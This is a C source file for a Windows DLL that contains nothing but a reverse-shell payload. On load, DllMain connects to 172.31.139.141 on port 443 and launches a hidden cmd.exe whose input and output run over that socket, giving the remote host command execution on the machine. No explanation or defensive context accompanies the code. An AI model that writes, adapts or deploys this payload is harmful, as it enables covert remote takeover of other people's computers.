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#include "stdafx.h"
#include <winsock2.h>
#include <stdlib.h>
#pragma comment(lib,"ws2_32")
void reverse_shell();
WSADATA wsaData;
SOCKET Winsock;
SOCKET Sock;
struct sockaddr_in hax;
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;
BOOL WINAPI DllMain(HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
reverse_shell();
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
void reverse_shell()
{
LPCSTR szMyUniqueNamedEvent = "sysnullevt";
HANDLE m_hEvent = CreateEventA(NULL, TRUE, FALSE, szMyUniqueNamedEvent);
switch (GetLastError())
{
case ERROR_ALREADY_EXISTS:
{
CloseHandle(m_hEvent);
break;
}
case ERROR_SUCCESS:
{
break;
}
}
WSAStartup(MAKEWORD(2, 2), &wsaData);
Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
hax.sin_family = AF_INET;
hax.sin_port = htons(atoi("443"));
hax.sin_addr.s_addr = inet_addr("172.31.139.141");
WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&ini_processo, 0, sizeof(ini_processo));
ini_processo.cb = sizeof(ini_processo);
ini_processo.dwFlags = STARTF_USESTDHANDLES;
ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, (LPSTARTUPINFOA)&ini_processo, &processo_info);
}
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